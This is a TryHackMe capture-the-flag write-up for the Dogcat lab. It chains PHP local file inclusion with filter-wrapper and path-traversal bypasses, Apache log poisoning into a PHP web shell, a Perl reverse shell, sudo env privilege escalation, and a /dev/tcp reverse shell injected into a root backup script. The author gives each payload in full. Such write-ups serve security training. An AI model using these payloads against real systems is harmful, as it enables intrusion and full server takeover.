Dogcat Writeup - TryHackMe

Welcome to the writeup of Dogcat room from TryHackMe. It was a fun room to solve, exploring a vulnerability often found. Hope you like it!

Pedro Mariano

4 min

Welcome to the writeup of Dogcat room from TryHackMe. It was a fun room to solve, exploring a vulnerability often found. I hope you like it!

Description: "I made this website for viewing cat and dog images with PHP. If you're feeling down, come look at some dogs/cats!"

NMAP


          
            nmap -vvv -sSV -p- -Pn 10.10.230.89 -oN nmap/sSV.txt
          
          
            
          
          
            PORT   STATE SERVICE REASON         VERSION
          
          
            22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
          
          
            80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.38 ((Debian))
          
          
            Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Addeded the IP of the box in the host (/etc/hosts) list of my Linux to access him with the "name" dogcat.thm.

The web page show us 2 options to choose what we would like to see - a dog or a cat.

When choosing "A dog", the web page returns the message "Here you go!" followed by image of dogs. Its possible to see the URL change with the parameter "view": http://dogcat.thm/?view=dog.

The same works when choosing "A cat", but in this option the web page returns images of cats and the URL changes to http://dogcat.thm/?view=cat.

Looking at a possible point of vulnerability in this parameter, when testing it, returns an "include php" error when inserting single quotes in the end of the URL: http://dogcat.thm/?view=dog%27. Introducing a possible LFI (Local File Inclusion) flaw.

To explore this LFI flaw, I tested some PHP Wrappers and with that was able to encode and get the source code from the page in base64.

But it still not possible to display other pages, because the page allows requests with "dog" or "cat" in the URL... To bypass this restriction I called the page "dog" followed by the sintax of browsing directories (../../) to get the source code of the page index.php, where it was proven the existence of this filtering in the code : http://dogcat.thm/?view=php://filter/convert.base64-encode/resource=dog../../index.

Using this exploration method, it is possible to find the first flag.

According to the source code of the index.php the parameter ext is called, wich allow us to use it through URL to explore the LFI flaw accessing other files.

http://dogcat.thm/?view=dog../../../../../etc/passwd&ext=

The user running this server does not have permitions to access the file /etc/shadow where are the passwords hashes. In this way, we can follow other path to get a command execution (RCE) or internal access to the target.

Command Execution (RCE)

Exploring the possibility of accessing files (allowed by LFI flaw), I posoned the log (a trick commonly used with LFI ) to obtain a RCE - "Log Poisoning".

With the enumeration performed during the beginning we know that is an Apache server, so we can try to access some default Apache files and paths!? It WORKED!

http://dogcat.thm/?view=dog../../../../../var/log/apache2/access.log&ext=

Successfully accessed Apache log file!

Let's try the execution of commands for loading by the server "poisoning" the log file, so when we execute it through the web the command will be interpreted and executed by the server. In this case I used the netcat tool:


          
            nc -v 10.10.230.89 80 -C              
          
          
            Connection to 10.10.40.62 80 port [tcp/http] succeeded!
          
          
            <?php phpinfo(); ?>
          
          
            HTTP/1.1 400 Bad Request
          
          
            Date: Tue, 08 Jun 2021 14:04:35 GMT
          
          
            Server: Apache/2.4.38 (Debian)
          
          
            Content-Length: 302
          
          
            Connection: close
          
          
            Content-Type: text/html; charset=iso-8859-1
          
          
            
          
          
            <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
          
          
            <html><head>
          
          
            <title>400 Bad Request</title>
          
          
            </head><body>
          
          
            <h1>Bad Request</h1>
          
          
            <p>Your browser sent a request that this server could not understand.<br />
          
          
            </p>
          
          
            <hr>
          
          
            <address>Apache/2.4.38 (Debian) Server at 172.17.0.2 Port 80</address>
          
          
            </body></html>

When accessing the log file again, the command "phpinfo()" was loaded printing sensitive information about the server on the web page.

Confirmed that the server is interpreting and executing commands stored in the log file. Through this, a RCE has been established.


          
            nc -v 10.10.230.89 80 -C                      
          
          
            Connection to 10.10.40.62 80 port [tcp/http] succeeded!
          
          
            <?php system($_GET['nap0']); ?>                
          
          
            HTTP/1.1 400 Bad Request
          
          
            Date: Tue, 08 Jun 2021 14:21:33 GMT
          
          
            Server: Apache/2.4.38 (Debian)
          
          
            Content-Length: 302
          
          
            Connection: close
          
          
            Content-Type: text/html; charset=iso-8859-1
          
          
            
          
          
            <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
          
          
            <html><head>
          
          
            <title>400 Bad Request</title>
          
          
            </head><body>
          
          
            <h1>Bad Request</h1>
          
          
            <p>Your browser sent a request that this server could not understand.<br />
          
          
            </p>
          
          
            <hr>
          
          
            <address>Apache/2.4.38 (Debian) Server at 172.17.0.2 Port 80</address>
          
          
            </body></html>

http://dogcat.thm/?view=dog../../../../../var/log/apache2/access.log&ext=&nap0=id

Identified in /usr/bin that the perl is already installed on the server. Used the following payload to stablish the reverse shell.


          
            perl -e 'use Socket;$i="10.2.19.212";$p=444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Tip: Our friend Burp can make life easier <3

Received the reverse shell as user: www-data.


          
            nc -vnlp 444
          
          
            
          
          
            $ whoami;id
          
          
            www-data
          
          
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

Browsing with this access through the /var/www it was possible to get the second flag.

Privilege Escalation

Looking for a way to do a privilege escalation on the host, the command sudo -l showed permission for the binary /usr/bin/env.


          
            sudo -l
          
          
            Matching Defaults entries for www-data on a8d34e6a4ddf:
          
          
                env_reset, mail_badpass,
          
          
                secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
          
          
            
          
          
            User www-data may run the following commands on a8d34e6a4ddf:
          
          
                (root) NOPASSWD: /usr/bin/env

Searching on GTFOBins I could find a way to explore this configuration to elevate the privilege. And it is very simple:

Now as root it was possible to identify the third flag in the /root directory.

But even as root, it was not able to find the last flag... Performing a system search, it found a script and a backup folder in /opt/backups. When checking the content of the script and the compressed file, the possibility of being in a container together was observed and with the hostname command this ideia was confirmed.

Still stagnant and looking for something existing in the backup content, it was noticed that the script is executed by the root machine (not by the container) sending it to its root directory... In this case, a high privilege or root is required for such execution!

Changed the script to return a reverse shell to my machine, leaving a port open by netcat.


          
            echo "bash -i >& /dev/tcp/10.2.19.212/8888 0>&1" >> backup.sh
          
          
            cat backup.sh
          
          
            #!/bin/bash
          
          
            bash -i >& /dev/tcp/10.2.19.212/8888 0>&1


          
            nc -vnlp 8888

After about 1 minute, the script was executed and was stablishing the reverse shell with root user.

Yeah! Running the hostname command returned the root hostname "dogcat" - the name of this box (as it is normally used in CTF). Right now we are in real control of this machine and with that it was possible to find the las flag in the /root directory.

Thanks for reading and feel free to pingback a coffee ;D

naP0

Give a Pingback

References:

Learn

Support

More Options